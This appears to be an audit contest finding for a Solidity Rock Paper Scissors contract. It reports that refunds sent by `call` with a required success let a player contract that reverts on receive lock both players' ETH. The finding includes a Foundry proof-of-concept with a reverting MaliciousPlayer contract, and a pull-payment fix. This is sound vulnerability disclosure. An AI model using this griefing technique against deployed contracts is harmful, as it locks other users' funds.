Rock Paper Scissors
First Flight #38
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

Mishandling of ETH in `RockPaperScissors::_handleTie`, `RockPaperScissors::_cancelGame` and `RockPaperScissors::_finishGame` function, causing ETH to be stuck forever in the contract by a Malicious contract

geekybot

Summary

In RockPaperScissors::_handleTie function refund amount is sent by call to the players.

This instance is also present in RockPaperScissors::_cancelGame and RockPaperScissors::_finishGame

(bool successA,) = game.playerA.call{value: refundPerPlayer}("");
(bool successB,) = game.playerB.call{value: refundPerPlayer}("");
require(successA && successB, "Transfer failed");

Any player can join via a malicious contract that doesn't implement a fallback or receive function in the contract will revert when sending ETH via call

Vulnerability Details

This vulnerability will lead to ETH being stuck forever in the contract, leading to loss of fund for both the player.

Proof Of Code

Add this block of code in the RockPaperScissors.t.sol as a new contract

contract MaliciousPlayer {
// revert on receive
receive() external payable {
revert("Malicious revert");
}
}

Also add the following test in RockPaperScissors contract and test, here I have taken the example of RockPaperScissors::_cancelGame

// test malicious player with no fallback function or revert on receive
function testMaliciousPlayerRevert() public {
MaliciousPlayer maliciousPlayerA = new MaliciousPlayer(); // Will revert on receive
vm.deal(address(maliciousPlayerA), 1 ether);
​
// Create a game with malicious player A
vm.prank(address(maliciousPlayerA));
gameId = game.createGameWithEth{value: 0.1 ether}(1, 10 minutes);
​
// Honest player joins
vm.prank(playerB);
game.joinGameWithEth{value: 0.1 ether}(gameId);
​
// Try to cancel the game
vm.prank(address(maliciousPlayerA));
​
// This should revert because the transfer to maliciousPlayerA will fail
vm.expectRevert("Transfer to player A failed");
game.cancelGame(gameId);
​
vm.prank(playerB);
game.cancelGame(gameId);
// Funds are locked in the contract
assertEq(address(game).balance, 0.2 ether);
}

Impact

This impacts the protocol severly, as honest players loose their bet due to malicious actors joining the game. Directly leading to loss of funds deposited as bet.

Tools Used

Foundry test suites.

Recommendations

There are several ways to mitigate this issue.

  1. It is recommended to consider the refund to be collected manually by the players.

// ... existing code ...
​
// Add new state variables
+ mapping(address => uint256) public pendingWithdrawals;
// ... existing code ...
function _handleTie(uint256 _gameId) internal {
​
// ... existing code ...
​
- (bool successA,) = game.playerA.call{value: refundPerPlayer}("");
- (bool successB,) = game.playerB.call{value: refundPerPlayer}("");
- require(successA && successB, "Transfer failed");
+ pendingWithdrawals[game.playerA] += refundPerPlayer;
+ pendingWithdrawals[game.playerB] += refundPerPlayer;
// ... existing code ...
​
}
​
​
/**
* @notice Allows players to withdraw their refunds if direct transfer failed
*/
function withdrawRefund() external {
uint256 amount = pendingWithdrawals[msg.sender];
require(amount > 0, "No pending refund");
pendingWithdrawals[msg.sender] = 0;
payable(msg.sender).transfer(amount);
}
​

  1. Consider setting a grace period and creating an admin function to recover stuck funds after the grace period is expired.

Updates

Appeal created

m3dython Lead Judge 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Orphaned ETH due to Unrestricted receive() or Canceled Game

ETH sent directly to the contract via the receive function or after a canceled game becomes permanently locked

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.